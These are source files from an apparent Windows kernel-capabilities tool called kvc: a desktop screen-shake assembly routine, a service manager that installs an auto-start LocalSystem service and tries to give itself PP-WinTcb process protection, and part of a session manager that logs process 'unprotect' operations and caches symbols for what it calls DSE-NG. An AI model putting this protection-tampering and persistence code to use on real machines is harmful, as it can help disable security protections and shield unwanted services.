// kvc_crypt DLL Resources (300-399) - currently unused due to NO_RESOURCES
// Reserved for future expansion

// Next default values for new objects
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        210
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

<<<FILE: kvc/ScreenShake.asm>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     9.27 KB
; ============================================================================
; ScreenShake.asm - x64 Windows Assembly
; ============================================================================
; Desktop shake effect using GDI BitBlt operation
; 
; Description:
;   Creates a horizontal screen shake effect by repeatedly copying the desktop
;   device context with alternating left/right offsets. The effect applies to
;   the entire desktop, not just the calling application window.
;
; Calling Convention:
;   Microsoft x64 calling convention (fastcall)
;   extern "C" void ScreenShake(int intensity, int shakes);
;
; Parameters:
;   RCX (intensity) - Horizontal offset in pixels for shake effect
;   RDX (shakes)    - Number of shake iterations to perform
;
; Returns:
;   void
;
; Notes:
;   - Uses desktop DC (GetDC(NULL)) to affect entire screen
;   - Each shake takes ~10ms (Sleep duration)
;   - User can abort by pressing SPACE key
;   - Screen is restored to original position on exit
; ============================================================================

.code

; External Win32 API functions
extern GetDC:proc              ; Retrieve device context handle
extern ReleaseDC:proc          ; Release device context handle
extern BitBlt:proc             ; Bit block transfer (copy pixels)
extern GetAsyncKeyState:proc   ; Check key state (for abort)
extern Sleep:proc              ; Suspend thread execution

; Export function for C++ linkage
public ScreenShake

; API Constants
SRCCOPY  equ 00CC0020h        ; BitBlt raster operation: direct copy
VK_SPACE equ 20h              ; Virtual key code for spacebar

; ============================================================================
; Main Function: ScreenShake
; ============================================================================
ScreenShake proc
    ; Function parameters (Microsoft x64 fastcall convention):
    ; RCX = intensity (int) - pixel offset for shake
    ; RDX = shakes (int)    - number of shake cycles
    
    ; -------------------------------------------------------------------------
    ; Prologue: Preserve non-volatile registers per calling convention
    ; -------------------------------------------------------------------------
    push rbx                   ; Save rbx (used for counter)
    push rsi                   ; Save rsi (reserved but unused)
    push rdi                   ; Save rdi (used for direction)
    push r12                   ; Save r12 (intensity storage)
    push r13                   ; Save r13 (shake count storage)
    push r14                   ; Save r14 (reserved but unused)
    push r15                   ; Save r15 (DC handle storage)
    sub rsp, 40h               ; Allocate shadow space (32 bytes) + alignment
    
    ; -------------------------------------------------------------------------
    ; Store input parameters in non-volatile registers
    ; -------------------------------------------------------------------------
    mov r12d, ecx              ; r12 = intensity (preserve across calls)
    mov r13d, edx              ; r13 = total shakes to perform
    
    ; -------------------------------------------------------------------------
    ; Acquire desktop device context
    ; -------------------------------------------------------------------------
    xor ecx, ecx               ; Parameter: hWnd = NULL (desktop window)
    call GetDC                 ; Returns HDC in RAX
    mov r15, rax               ; r15 = DC handle (preserved throughout)
    
    ; -------------------------------------------------------------------------
    ; Initialize loop variables
    ; -------------------------------------------------------------------------
    mov edi, r12d              ; edi = current direction (starts at +intensity)
    xor ebx, ebx               ; ebx = counter (initialize to 0)

; =============================================================================
; Main shake loop: Perform alternating left/right screen copies
; =============================================================================
shake_loop:
    ; -------------------------------------------------------------------------
    ; Check if we've completed all shake iterations
    ; -------------------------------------------------------------------------
    cmp ebx, r13d              ; Compare counter with total shakes
    jge end_shake              ; Exit if counter >= shakes
    
    ; -------------------------------------------------------------------------
    ; Check for user abort (SPACE key)
    ; -------------------------------------------------------------------------
    mov ecx, VK_SPACE          ; Parameter: virtual key code
    call GetAsyncKeyState      ; Returns key state in AX
    test ax, 8000h             ; Test high bit (key currently pressed?)
    jnz end_shake              ; Exit immediately if SPACE pressed
    
    ; -------------------------------------------------------------------------
    ; Prepare BitBlt parameters
    ; -------------------------------------------------------------------------
    ; BitBlt prototype:
    ; BOOL BitBlt(
    ;   HDC   hdc,      [RCX]  Destination DC
    ;   int   x,        [RDX]  Destination X coordinate
    ;   int   y,        [R8]   Destination Y coordinate
    ;   int   cx,       [R9]   Width to copy
    ;   int   cy,       [stack+20h] Height to copy
    ;   HDC   hdcSrc,   [stack+28h] Source DC
    ;   int   x1,       [stack+30h] Source X coordinate
    ;   int   y1,       [stack+38h] Source Y coordinate
    ;   DWORD rop       [stack+40h] Raster operation code
    ; );
    
    mov rcx, r15               ; Param 1: destination DC (desktop)
    movsxd rdx, edi            ; Param 2: x offset (sign-extend direction)
    xor r8, r8                 ; Param 3: y = 0 (no vertical offset)
    mov r9, 800h               ; Param 4: width = 2048 pixels
    
    ; Stack parameters (5-9) - must be in shadow space + params area
    mov dword ptr [rsp+20h], 800h     ; Param 5: height = 2048 pixels
    mov qword ptr [rsp+28h], r15      ; Param 6: source DC (same as dest)
    mov dword ptr [rsp+30h], 0        ; Param 7: source x1 = 0
    mov dword ptr [rsp+38h], 0        ; Param 8: source y1 = 0
    mov dword ptr [rsp+40h], SRCCOPY  ; Param 9: raster op (direct copy)
    
    call BitBlt                ; Execute screen copy with offset
    
    ; -------------------------------------------------------------------------
    ; Reverse direction for next iteration (creates shake effect)
    ; -------------------------------------------------------------------------
    neg edi                    ; Invert sign: +intensity -> -intensity
    
    ; -------------------------------------------------------------------------
    ; Increment shake counter
    ; -------------------------------------------------------------------------
    inc ebx                    ; counter++
    
    ; -------------------------------------------------------------------------
    ; Delay before next shake (makes effect visible)
    ; -------------------------------------------------------------------------
    mov ecx, 10                ; Parameter: 10 milliseconds
    call Sleep                 ; Suspend execution
    
    jmp shake_loop             ; Continue to next shake iteration

; =============================================================================
; Cleanup: Restore screen and release resources
; =============================================================================
end_shake:
    ; -------------------------------------------------------------------------
    ; Restore screen to original position (BitBlt with zero offset)
    ; -------------------------------------------------------------------------
    mov rcx, r15               ; Destination DC
    xor rdx, rdx               ; x = 0 (no offset)
    xor r8, r8                 ; y = 0
    mov r9, 800h               ; width = 2048
    
    mov dword ptr [rsp+20h], 800h     ; height = 2048
    mov qword ptr [rsp+28h], r15      ; source DC
    mov dword ptr [rsp+30h], 0        ; source x1 = 0
    mov dword ptr [rsp+38h], 0        ; source y1 = 0
    mov dword ptr [rsp+40h], SRCCOPY  ; raster op
    
    call BitBlt                ; Final restoration blit
    
    ; -------------------------------------------------------------------------
    ; Release desktop device context
    ; -------------------------------------------------------------------------
    xor ecx, ecx               ; Parameter: hWnd = NULL
    mov rdx, r15               ; Parameter: HDC to release
    call ReleaseDC             ; Free DC resource
    
    ; -------------------------------------------------------------------------
    ; Epilogue: Restore registers and return
    ; -------------------------------------------------------------------------
    add rsp, 40h               ; Deallocate shadow space
    pop r15                    ; Restore r15
    pop r14                    ; Restore r14
    pop r13                    ; Restore r13
    pop r12                    ; Restore r12
    pop rdi                    ; Restore rdi
    pop rsi                    ; Restore rsi
    pop rbx                    ; Restore rbx
    ret                        ; Return to caller
    
ScreenShake endp

end

<<<FILE: kvc/ServiceManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     13.92 KB
#include "ServiceManager.h"
#include "Controller.h"
#include "common.h"
#include <memory>

// Service static members
SERVICE_STATUS_HANDLE ServiceManager::s_serviceStatusHandle = nullptr;
SERVICE_STATUS ServiceManager::s_serviceStatus = {};
HANDLE ServiceManager::s_serviceStopEvent = nullptr;
volatile bool ServiceManager::s_serviceRunning = false;

// Global service components
static std::unique_ptr<Controller> g_serviceController = nullptr;

bool ServiceManager::InstallService(const std::wstring& exePath) noexcept
{
    if (!InitDynamicAPIs()) {
        ERROR(L"Failed to initialize service APIs");
        return false;
    }

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE));
    if (!scm) {
        ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
        return false;
    }

    // Build service command line with --service parameter
    std::wstring servicePath = L"\"" + exePath + L"\" --service";

    ServiceHandleGuard service(g_pCreateServiceW(
        scm.get(),
        SERVICE_NAME,
        SERVICE_DISPLAY_NAME,
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        servicePath.c_str(),
        nullptr,    // No load ordering group
        nullptr,    // No tag identifier
        nullptr,    // No dependencies
        nullptr,    // LocalSystem account
        nullptr     // No password
    ));

    if (!service) {
        DWORD error = GetLastError();

        if (error == ERROR_SERVICE_EXISTS) {
            INFO(L"Service already exists, attempting to update configuration");

            ServiceHandleGuard existingService(g_pOpenServiceW(scm.get(), SERVICE_NAME, SERVICE_CHANGE_CONFIG));
            if (existingService) {
                BOOL success = ChangeServiceConfigW(
                    existingService.get(),
                    SERVICE_WIN32_OWN_PROCESS,
                    SERVICE_AUTO_START,
                    SERVICE_ERROR_NORMAL,
                    servicePath.c_str(),
                    nullptr, nullptr, nullptr, nullptr, nullptr, SERVICE_DISPLAY_NAME
                );

                if (success) {
                    SUCCESS(L"Service configuration updated successfully");
                    return true;
                } else {
                    ERROR(L"Failed to update service configuration: %d", GetLastError());
                    return false;
                }
            }
            return false;
        }

        ERROR(L"Failed to create service: %d", error);
        return false;
    }

    // Set service description
    SERVICE_DESCRIPTIONW serviceDesc = {};
    serviceDesc.lpDescription = const_cast<wchar_t*>(SERVICE_DESCRIPTION);
    ChangeServiceConfig2W(service.get(), SERVICE_CONFIG_DESCRIPTION, &serviceDesc);

    // Guards automatically close handles on scope exit
    SUCCESS(L"Service '%s' installed successfully", SERVICE_DISPLAY_NAME);

    // Attempt to start the service
    if (StartServiceProcess()) {
        SUCCESS(L"Service started successfully");
    } else {
        INFO(L"Service installed but failed to start automatically");
    }

    return true;
}

bool ServiceManager::UninstallService() noexcept
{
    if (!InitDynamicAPIs()) {
        ERROR(L"Failed to initialize service APIs");
        return false;
    }

    // First try to stop the service
    StopServiceProcess();

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) {
        ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
        return false;
    }

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), SERVICE_NAME, DELETE));
    if (!service) {
        DWORD error = GetLastError();

        if (error == ERROR_SERVICE_DOES_NOT_EXIST) {
            INFO(L"Service does not exist");
            return true;
        }

        ERROR(L"Failed to open service for deletion: %d", error);
        return false;
    }

    BOOL success = g_pDeleteService(service.get());
    DWORD error = GetLastError();

    // Guards automatically close handles on scope exit

    if (!success) {
        if (error == ERROR_SERVICE_MARKED_FOR_DELETE) {
            SUCCESS(L"Service marked for deletion (will be removed after next reboot)");
            return true;
        }
        ERROR(L"Failed to delete service: %d", error);
        return false;
    }

    SUCCESS(L"Service '%s' uninstalled successfully", SERVICE_DISPLAY_NAME);
    return true;
}

bool ServiceManager::StartServiceProcess() noexcept
{
    if (!InitDynamicAPIs()) return false;

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) return false;

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), SERVICE_NAME, SERVICE_START));
    if (!service) return false;

    BOOL success = g_pStartServiceW(service.get(), 0, nullptr);
    return success || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
}

bool ServiceManager::StopServiceProcess() noexcept
{
    if (!InitDynamicAPIs()) return false;

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) return false;

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), SERVICE_NAME, SERVICE_STOP));
    if (!service) return false;

    SERVICE_STATUS status;
    BOOL success = g_pControlService(service.get(), SERVICE_CONTROL_STOP, &status);
    return success || GetLastError() == ERROR_SERVICE_NOT_ACTIVE;
}

int ServiceManager::RunAsService() noexcept
{
    // Enable debug output to Event Log for service debugging
    AllocConsole();
    freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
    freopen_s((FILE**)stderr, "CONOUT$", "w", stderr);
    
    INFO(L"SERVICE MODE: Starting service dispatcher...");

    // Service table for dispatcher
    SERVICE_TABLE_ENTRYW serviceTable[] = {
        { const_cast<wchar_t*>(SERVICE_NAME), ServiceMain },
        { nullptr, nullptr }
    };

    // Start service control dispatcher
    if (!StartServiceCtrlDispatcherW(serviceTable)) {
        ERROR(L"SERVICE MODE: StartServiceCtrlDispatcher failed: %d", GetLastError());
        return 1;
    }

    INFO(L"SERVICE MODE: Service dispatcher completed");
    return 0;
}

VOID WINAPI ServiceManager::ServiceMain(DWORD argc, LPWSTR* argv)
{
    INFO(L"SERVICE: ServiceMain entry point reached");

    // Register service control handler
    s_serviceStatusHandle = RegisterServiceCtrlHandlerW(SERVICE_NAME, ServiceCtrlHandler);
    if (!s_serviceStatusHandle) {
        ERROR(L"SERVICE: RegisterServiceCtrlHandler failed: %d", GetLastError());
        return;
    }

    INFO(L"SERVICE: Control handler registered successfully");

    // Initialize service status
    s_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    s_serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    s_serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    s_serviceStatus.dwWin32ExitCode = NO_ERROR;
    s_serviceStatus.dwServiceSpecificExitCode = 0;
    s_serviceStatus.dwCheckPoint = 0;
    s_serviceStatus.dwWaitHint = 5000;

    SetServiceStatus(SERVICE_START_PENDING, NO_ERROR, 5000);
    INFO(L"SERVICE: Status set to START_PENDING");

    // Create stop event
    s_serviceStopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
    if (!s_serviceStopEvent) {
        ERROR(L"SERVICE: Failed to create service stop event: %d", GetLastError());
        SetServiceStatus(SERVICE_STOPPED, GetLastError());
        return;
    }

    INFO(L"SERVICE: Stop event created successfully");

    // SET RUNNING FLAG BEFORE INITIALIZING COMPONENTS
    s_serviceRunning = true;
    INFO(L"SERVICE: Service running flag set to TRUE");

    // Initialize service components
    if (!InitializeServiceComponents()) {
        ERROR(L"SERVICE: Failed to initialize service components");
        SetServiceStatus(SERVICE_STOPPED, ERROR_SERVICE_SPECIFIC_ERROR);
        ServiceCleanup();
        return;
    }

    INFO(L"SERVICE: Components initialized successfully");

    // Create worker thread
    HANDLE hWorkerThread = CreateThread(nullptr, 0, ServiceWorkerThread, nullptr, 0, nullptr);
    if (!hWorkerThread) {
        ERROR(L"SERVICE: Failed to create worker thread: %d", GetLastError());
        SetServiceStatus(SERVICE_STOPPED, GetLastError());
        ServiceCleanup();
        return;
    }

    INFO(L"SERVICE: Worker thread created successfully");

    // Service is now running
    SetServiceStatus(SERVICE_RUNNING);
    SUCCESS(L"SERVICE: Kernel Vulnerability Capabilities Framework service started successfully");

    // Wait for stop signal
    INFO(L"SERVICE: Waiting for worker thread completion...");
    WaitForSingleObject(hWorkerThread, INFINITE);
    CloseHandle(hWorkerThread);

    INFO(L"SERVICE: Worker thread completed, performing cleanup...");

    // Cleanup and exit
    ServiceCleanup();
    SetServiceStatus(SERVICE_STOPPED);
    
    INFO(L"SERVICE: ServiceMain exiting");
}

VOID WINAPI ServiceManager::ServiceCtrlHandler(DWORD ctrlCode)
{
    switch (ctrlCode) {
        case SERVICE_CONTROL_STOP:
        case SERVICE_CONTROL_SHUTDOWN:
            INFO(L"SERVICE: Stop/shutdown requested");
            SetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
            s_serviceRunning = false;
            if (s_serviceStopEvent) {
                SetEvent(s_serviceStopEvent);
            }
            break;

        case SERVICE_CONTROL_INTERROGATE:
            SetServiceStatus(s_serviceStatus.dwCurrentState);
            break;

        default:
            INFO(L"SERVICE: Unknown control code received: %d", ctrlCode);
            break;
    }
}

DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param)
{
    INFO(L"SERVICE WORKER: Thread started, running flag = %s", s_serviceRunning ? L"TRUE" : L"FALSE");

    DWORD loopCount = 0;

    // Main service loop
    while (s_serviceRunning) {
        loopCount++;
        
        if (loopCount % 12 == 0) { // Every minute (12 * 5 seconds)
            INFO(L"SERVICE WORKER: Heartbeat - loop iteration %d", loopCount);
        }

        // Wait for stop event with timeout for periodic tasks
        DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 100);
        
        if (waitResult == WAIT_OBJECT_0) {
            INFO(L"SERVICE WORKER: Stop event signaled");
            break;
        }
        
        if (waitResult == WAIT_TIMEOUT) {
            // Normal timeout, continue loop
            continue;
        }
        
        if (waitResult == WAIT_FAILED) {
            ERROR(L"SERVICE WORKER: WaitForSingleObject failed: %d", GetLastError());
            break;
        }
    }

    INFO(L"SERVICE WORKER: Thread exiting after %d iterations", loopCount);
    return 0;
}

bool ServiceManager::SetServiceStatus(DWORD currentState, DWORD exitCode, DWORD waitHint) noexcept
{
    static DWORD checkPoint = 1;

    s_serviceStatus.dwCurrentState = currentState;
    s_serviceStatus.dwWin32ExitCode = exitCode;
    s_serviceStatus.dwWaitHint = waitHint;

    if (currentState == SERVICE_START_PENDING || currentState == SERVICE_STOP_PENDING) {
        s_serviceStatus.dwCheckPoint = checkPoint++;
    } else {
        s_serviceStatus.dwCheckPoint = 0;
    }

    BOOL result = ::SetServiceStatus(s_serviceStatusHandle, &s_serviceStatus);
    
    const wchar_t* stateName = L"UNKNOWN";
    switch (currentState) {
        case SERVICE_START_PENDING: stateName = L"START_PENDING"; break;
        case SERVICE_RUNNING: stateName = L"RUNNING"; break;
        case SERVICE_STOP_PENDING: stateName = L"STOP_PENDING"; break;
        case SERVICE_STOPPED: stateName = L"STOPPED"; break;
    }
    
    INFO(L"SERVICE: Status set to %s, result = %s", stateName, result ? L"SUCCESS" : L"FAILED");
    
    return result != FALSE;
}

bool ServiceManager::InitializeServiceComponents() noexcept
{
    INFO(L"SERVICE INIT: Starting component initialization...");

    try {
        // Initialize controller with atomic operations
        INFO(L"SERVICE INIT: Creating Controller instance...");
        g_serviceController = std::make_unique<Controller>();
        INFO(L"SERVICE INIT: Controller created successfully");
        
        // Self-protect the service with PP-WinTcb
        INFO(L"SERVICE INIT: Attempting self-protection with PP-WinTcb...");
        if (!g_serviceController->SelfProtect(L"PP", L"WinTcb")) {
            ERROR(L"SERVICE INIT: Failed to set service self-protection to PP-WinTcb");
            // Continue anyway - protection failure is not critical for basic operation
        } else {
            SUCCESS(L"SERVICE INIT: Service protected with PP-WinTcb");
        }

        INFO(L"SERVICE INIT: Component initialization completed successfully");
        return true;

    } catch (const std::exception& e) {
        std::string msg = e.what();
        std::wstring wmsg(msg.begin(), msg.end());
        ERROR(L"SERVICE INIT: Exception during initialization: %s", wmsg.c_str());
        return false;
    } catch (...) {
        ERROR(L"SERVICE INIT: Unknown exception during initialization");
        return false;
    }
}

void ServiceManager::ServiceCleanup() noexcept
{
    INFO(L"SERVICE CLEANUP: Starting cleanup process...");

    // Cleanup controller (automatic driver cleanup)
    if (g_serviceController) {
        INFO(L"SERVICE CLEANUP: Cleaning up controller...");
        g_serviceController.reset();
        INFO(L"SERVICE CLEANUP: Controller cleanup completed");
    }

    // Close stop event
    if (s_serviceStopEvent) {
        INFO(L"SERVICE CLEANUP: Closing stop event...");
        CloseHandle(s_serviceStopEvent);
        s_serviceStopEvent = nullptr;
        INFO(L"SERVICE CLEANUP: Stop event closed");
    }

    SUCCESS(L"SERVICE CLEANUP: All cleanup completed");
}

<<<FILE: kvc/ServiceManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:43:20
Size:     2.35 KB
// ServiceManager.h - Windows NT service controller for single-binary KVC deployment

#pragma once

#include "common.h"
#include <string>
#include <memory>

// Manages Windows service installation, start/stop, and single-binary execution mode
class ServiceManager
{
public:
    ServiceManager() = default;
    ~ServiceManager() = default;

    ServiceManager(const ServiceManager&) = delete;
    ServiceManager& operator=(const ServiceManager&) = delete;

    // === Service Lifecycle Management ===

    // Install service (auto-start, Win32OwnProcess, admin required)
    static bool InstallService(const std::wstring& exePath = L"") noexcept;

    // Uninstall service (stops and removes if exists)
    static bool UninstallService() noexcept;

    // Start installed service (waits until running)
    static bool StartServiceProcess() noexcept;

    // Stop running service (graceful shutdown)
    static bool StopServiceProcess() noexcept;

    // Run current executable as registered Windows service
    static int RunAsService() noexcept;

    // === Configuration Constants ===

    static constexpr const wchar_t* SERVICE_NAME = ServiceConstants::SERVICE_NAME;
    static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
    static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities";

private:
    // === Service Entry Points ===

    // SCM entry callback (initializes and runs service)
    static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv);

    // SCM control handler (handles stop/shutdown/interrogate)
    static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode);

    // Service worker thread (runs background logic)
    static DWORD WINAPI ServiceWorkerThread(LPVOID param);

    // === Internal State ===

    static SERVICE_STATUS_HANDLE s_serviceStatusHandle;
    static SERVICE_STATUS s_serviceStatus;
    static HANDLE s_serviceStopEvent;
    static volatile bool s_serviceRunning;

    // Update service status in SCM
    static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept;

    // Cleanup service resources and report stopped state
    static void ServiceCleanup() noexcept;

    // Initialize internal service components before running
    static bool InitializeServiceComponents() noexcept;
};

<<<FILE: kvc/SessionManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:45:26
Size:     26.84 KB
// SessionManager.cpp
// Session state management and DSE-NG symbol cache with LCUVer validation

#include "SessionManager.h"
#include "Controller.h"
#include "Utils.h"
#include <algorithm>
#include <sstream>
#include <iomanip>
#include <shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

// Static cache cleared on reboot detection
static std::wstring g_cachedBootSession;

// ============================================================================
// SESSION MANAGEMENT (existing functionality)
// ============================================================================

std::wstring SessionManager::CalculateBootTime() noexcept
{
    FILETIME ftNow;
    GetSystemTimeAsFileTime(&ftNow);
    ULONGLONG currentTime = (static_cast<ULONGLONG>(ftNow.dwHighDateTime) << 32) | ftNow.dwLowDateTime;
    ULONGLONG tickCount = GetTickCount64();
    ULONGLONG bootTime = currentTime - (tickCount * 10000ULL);
    
    std::wostringstream oss;
    oss << bootTime;
    return oss.str();
}

ULONGLONG SessionManager::GetLastBootIdFromRegistry() noexcept
{
    std::wstring basePath = GetRegistryBasePath();
    HKEY hKey;
    
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return 0;
    
    ULONGLONG lastBootId = 0;
    DWORD dataSize = sizeof(ULONGLONG);
    RegQueryValueExW(hKey, L"LastBootId", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastBootId), &dataSize);
    
    RegCloseKey(hKey);
    return lastBootId;
}

void SessionManager::SaveLastBootId(ULONGLONG bootId) noexcept
{
    std::wstring basePath = GetRegistryBasePath();
    HKEY hKey = OpenOrCreateKey(basePath);
    
    if (hKey)
    {
        RegSetValueExW(hKey, L"LastBootId", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&bootId), sizeof(ULONGLONG));
        RegCloseKey(hKey);
    }
}

ULONGLONG SessionManager::GetLastTickCountFromRegistry() noexcept
{
    std::wstring basePath = GetRegistryBasePath();
    HKEY hKey;
    
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return 0;
    
    ULONGLONG lastTickCount = 0;
    DWORD dataSize = sizeof(ULONGLONG);
    RegQueryValueExW(hKey, L"LastTickCount", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastTickCount), &dataSize);
    
    RegCloseKey(hKey);
    return lastTickCount;
}

void SessionManager::SaveLastTickCount(ULONGLONG tickCount) noexcept
{
    std::wstring basePath = GetRegistryBasePath();
    HKEY hKey = OpenOrCreateKey(basePath);
    
    if (hKey)
    {
        RegSetValueExW(hKey, L"LastTickCount", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&tickCount), sizeof(ULONGLONG));
        RegCloseKey(hKey);
    }
}

std::wstring SessionManager::GetCurrentBootSession() noexcept
{
    if (!g_cachedBootSession.empty())
        return g_cachedBootSession;
    
    ULONGLONG lastBootId = GetLastBootIdFromRegistry();
    
    if (lastBootId == 0)
    {
        // First run ever - calculate and save
        std::wstring calculatedSession = CalculateBootTime();
        ULONGLONG calculatedBootId = std::stoull(calculatedSession);
        SaveLastBootId(calculatedBootId);
        g_cachedBootSession = calculatedSession;
        return g_cachedBootSession;
    }
    
    // Use LastBootId from registry as session ID
    std::wostringstream oss;
    oss << lastBootId;
    g_cachedBootSession = oss.str();
    
    return g_cachedBootSession;
}

void SessionManager::DetectAndHandleReboot() noexcept
{
    ULONGLONG currentTick = GetTickCount64();
    ULONGLONG lastTick = GetLastTickCountFromRegistry();
    ULONGLONG lastBootId = GetLastBootIdFromRegistry();
    
    if (lastBootId == 0)
    {
        // First run ever
        std::wstring calculatedSession = CalculateBootTime();
        ULONGLONG calculatedBootId = std::stoull(calculatedSession);
        SaveLastBootId(calculatedBootId);
        SaveLastTickCount(currentTick);
        g_cachedBootSession = calculatedSession;
        return;
    }
    
    // Detect reboot: tickCount decreased
    if (currentTick < lastTick)
    {
        // New boot detected
        std::wstring calculatedSession = CalculateBootTime();
        ULONGLONG calculatedBootId = std::stoull(calculatedSession);
        SaveLastBootId(calculatedBootId);
        SaveLastTickCount(currentTick);
        g_cachedBootSession = calculatedSession;
        
        // Enforce session limit
        EnforceSessionLimit(16); // Default 16 sessions
    }
    else
    {
        // Same boot - use LastBootId as session ID
        SaveLastTickCount(currentTick);
        std::wostringstream oss;
        oss << lastBootId;
        g_cachedBootSession = oss.str();
    }
}

std::vector<std::wstring> SessionManager::GetAllSessionIds() noexcept
{
    std::vector<std::wstring> sessionIds;
    std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
    
    HKEY hSessions;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
        return sessionIds;
    
    DWORD index = 0;
    wchar_t sessionName[256];
    DWORD sessionNameSize;
    
    while (true)
    {
        sessionNameSize = 256;
        if (RegEnumKeyExW(hSessions, index, sessionName, &sessionNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;
        
        sessionIds.push_back(sessionName);
        index++;
    }
    
    RegCloseKey(hSessions);
    return sessionIds;
}

void SessionManager::EnforceSessionLimit(int maxSessions) noexcept
{
    auto sessions = GetAllSessionIds();
    
    if (static_cast<int>(sessions.size()) <= maxSessions)
        return;
    
    // Sort sessions by ID (oldest first)
    std::sort(sessions.begin(), sessions.end(), [](const std::wstring& a, const std::wstring& b) {
        try {
            return std::stoull(a) < std::stoull(b);
        } catch (...) {
            return a < b;
        }
    });
    
    std::wstring currentSession = GetCurrentBootSession();
    std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
    
    HKEY hSessions;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_WRITE, &hSessions) != ERROR_SUCCESS)
        return;
    
    int toDelete = static_cast<int>(sessions.size()) - maxSessions;
    int deleted = 0;
    
    for (const auto& sessionId : sessions)
    {
        if (deleted >= toDelete)
            break;
        
        if (sessionId != currentSession)
        {
            DeleteKeyRecursive(hSessions, sessionId);
            DEBUG(L"Deleted old session: %s", sessionId.c_str());
            deleted++;
        }
    }
    
    RegCloseKey(hSessions);
    
    if (deleted > 0)
    {
        INFO(L"Enforced session limit: deleted %d old sessions", deleted);
    }
}

void SessionManager::CleanupAllSessionsExceptCurrent() noexcept
{
    std::wstring currentSession = GetCurrentBootSession();
    std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
    
    HKEY hSessions;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
    {
        INFO(L"No sessions to cleanup");
        return;
    }
    
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    std::vector<std::wstring> keysToDelete;
    
    while (true)
    {
        subKeyNameSize = 256;
        if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;
        
        std::wstring keyName = subKeyName;
        if (keyName != currentSession)
            keysToDelete.push_back(keyName);
        
        index++;
    }
    
    for (const auto& key : keysToDelete)
    {
        DeleteKeyRecursive(hSessions, key);
    }
    
    RegCloseKey(hSessions);
    
    if (!keysToDelete.empty())
    {
        SUCCESS(L"Cleaned up %zu old sessions (kept current session)", keysToDelete.size());
    }
    else
    {
        INFO(L"No old sessions to cleanup");
    }
}

std::wstring SessionManager::GetRegistryBasePath() noexcept
{
    return L"Software\\kvc";
}

std::wstring SessionManager::GetSessionPath(const std::wstring& sessionId) noexcept
{
    return GetRegistryBasePath() + L"\\Sessions\\" + sessionId;
}

bool SessionManager::SaveUnprotectOperation(const std::wstring& signerName, 
                                           const std::vector<ProcessEntry>& affectedProcesses) noexcept
{
    if (affectedProcesses.empty())
        return true;
    
    // Use original signer name (no normalization)
    std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
    std::wstring signerPath = sessionPath + L"\\" + signerName;
    
    HKEY hKey = OpenOrCreateKey(signerPath);
    if (!hKey)
    {
        ERROR(L"Failed to create registry key for session state");
        return false;
    }
    
    DWORD index = 0;
    for (const auto& proc : affectedProcesses)
    {
        SessionEntry entry;
        entry.Pid = proc.Pid;
        entry.ProcessName = proc.ProcessName;
        entry.OriginalProtection = Utils::GetProtection(proc.ProtectionLevel, proc.SignerType);
        entry.SignatureLevel = proc.SignatureLevel;
